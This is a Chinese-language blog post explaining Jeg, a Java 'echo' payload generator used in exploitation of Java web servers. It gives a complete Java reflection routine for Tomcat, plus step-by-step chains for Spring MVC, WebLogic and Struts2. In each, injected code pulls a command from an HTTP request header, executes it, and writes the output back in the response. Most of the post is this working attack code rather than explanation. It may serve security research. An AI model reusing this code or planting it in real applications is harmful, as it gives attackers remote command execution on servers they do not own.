Skip to content
blogs of mekrina
Go back

Jeg回显

Updated:
Edit page

what is Jeg

https://github.com/pen4uin/java-echo-generator

通过获取不同web框架中的request、response对象, 实现通过http请求传递命令并回显结果。

不同框架获取方式不同, 不同版本实现可能也不同。代码需要在请求处理相关的线程中执行,后台线程、异步线程可能找不到request。

tomcat

原理

Thread.getThreads()
  -> 找线程名包含 "http" 和 "Acceptor" 的 Tomcat 线程
  -> target = thread.target
  -> endpoint = target.endpoint 或 target.this$0
  -> handler = endpoint.handler
  -> requestGroupInfo = handler.global
  -> processors = requestGroupInfo.processors
  -> processor = processors[i]
  -> coyoteRequest = processor.req

读取请求头:
  -> command = coyoteRequest.getHeader(getReqHeaderName())

获取响应并写回:
  -> servletRequest = coyoteRequest.getNote(1) # 1 = CoyoteAdapter.ADAPTER_NOTES
  -> servletResponse = servletRequest.getResponse()
  -> writer = servletResponse.getWriter()
  -> writer.write(exec(command))
  -> writer.flush()

代码实现:

Method getThreadsMethod = Thread.class.getDeclaredMethod("getThreads", new Class[0]);
getThreadsMethod.setAccessible(true);

Thread[] threads = (Thread[]) getThreadsMethod.invoke(null);

for (int threadIndex = 0; threadIndex < threads.length; threadIndex++) {
    Thread thread = threads[threadIndex];

    if (thread.getName().contains("http") && thread.getName().contains("Acceptor")) {
        Field targetField = thread.getClass().getDeclaredField("target");
        targetField.setAccessible(true);

        Object target = targetField.get(thread);

        Field endpointField;
        try {
            endpointField = target.getClass().getDeclaredField("endpoint");
        } catch (NoSuchFieldException e) {
            endpointField = target.getClass().getDeclaredField("this$0");
        }

        endpointField.setAccessible(true);
        Object endpoint = endpointField.get(target);

        Field handlerField;
        try {
            handlerField = endpoint.getClass().getDeclaredField("handler");
        } catch (NoSuchFieldException e1) {
            try {
                handlerField = endpoint.getClass().getSuperclass().getDeclaredField("handler");
            } catch (NoSuchFieldException e2) {
                handlerField = endpoint.getClass().getSuperclass().getSuperclass().getDeclaredField("handler");
            }
        }

        handlerField.setAccessible(true);
        Object handler = handlerField.get(endpoint);

        Field globalField;
        try {
            globalField = handler.getClass().getDeclaredField("global");
        } catch (NoSuchFieldException e) {
            globalField = handler.getClass().getSuperclass().getDeclaredField("global");
        }

        globalField.setAccessible(true);
        Object requestGroupInfo = globalField.get(handler);

        requestGroupInfo.getClass()
                .getClassLoader()
                .loadClass("org.apache.coyote.RequestGroupInfo");

        if (requestGroupInfo.getClass().getName().contains("org.apache.coyote.RequestGroupInfo")) {
            Field processorsField = requestGroupInfo.getClass().getDeclaredField("processors");
            processorsField.setAccessible(true);

            ArrayList processors = (ArrayList) processorsField.get(requestGroupInfo);

            for (int processorIndex = 0; processorIndex < processors.size(); processorIndex++) {
                Object processor = processors.get(processorIndex);

                Field coyoteRequestField = processor.getClass().getDeclaredField("req");
                coyoteRequestField.setAccessible(true);

                Object coyoteRequest = coyoteRequestField.get(processor);

                Object servletRequest = coyoteRequest.getClass()
                        .getDeclaredMethod("getNote", Integer.TYPE)
                        .invoke(coyoteRequest, 1);

                String command;

                try {
                    command = (String) coyoteRequest.getClass()
                            .getMethod("getHeader", new Class[]{String.class})
                            .invoke(coyoteRequest, new Object[]{getReqHeaderName()});

                    if (command != null) {
                        Object response = servletRequest.getClass()
                                .getDeclaredMethod("getResponse", new Class[0])
                                .invoke(servletRequest, new Object[0]);

                        Writer writer = (Writer) response.getClass()
                                .getMethod("getWriter", new Class[0])
                                .invoke(response, new Object[0]);

                        writer.write(exec(command));
                        writer.flush();
                        writer.close();

                        break;
                    }
                } catch (Exception ignored) {
                }
            }
        }
    }
}

springMVC

classLoader = Thread.currentThread().getContextClassLoader()
  -> requestContextHolderClass = classLoader.loadClass("org.springframework.web.context.request.RequestContextHolder")
  -> requestAttributes = RequestContextHolder.getRequestAttributes()
  -> request = requestAttributes.getRequest()
  -> response = requestAttributes.getResponse()

读取请求头:
  -> command = request.getHeader(getReqHeaderName())

写响应:
  -> writer = response.getWriter()
  -> writer.write(exec(command))
  -> writer.flush()
  -> writer.close()

weblogic

thread = Thread.currentThread()
  -> target = thread.getCurrentWork()

读取请求头:
  -> command = target.getHeader(getReqHeaderName())

获取响应:
  -> response = target.getResponse()
  -> writer = response.getWriter()

写响应:
  -> writer.write(exec(command))
  -> writer.flush()
  -> writer.close()

or

thread = Thread.currentThread()
  -> target = thread.getCurrentWork()
  -> connectionHandler = target.connectionHandler
  -> request = connectionHandler.getServletRequest()
  -> response = connectionHandler.getServletResponse()

读取请求头:
  -> command = request.getHeader(getReqHeaderName())

写响应:
  -> writer = response.getWriter()
  -> writer.write(exec(command))
  -> writer.flush()
  -> writer.close()

struts2

classLoader = Thread.currentThread().getContextClassLoader()
  -> actionContextClass = Class.forName("com.opensymphony.xwork2.ActionContext", false, classLoader)
  -> actionContextThreadLocal = ActionContext.actionContext
  -> actionContext = actionContextThreadLocal.get()
  -> context = actionContext.getContext()

获取 request/response:
  -> request = context.get("com.opensymphony.xwork2.dispatcher.HttpServletRequest")
  -> response = context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse")

读取请求头:
  -> command = request.getHeader(getReqHeaderName())

写响应:
  -> writer = response.getWriter()
  -> writer.write(exec(command))
  -> writer.flush()
  -> writer.close()

Edit page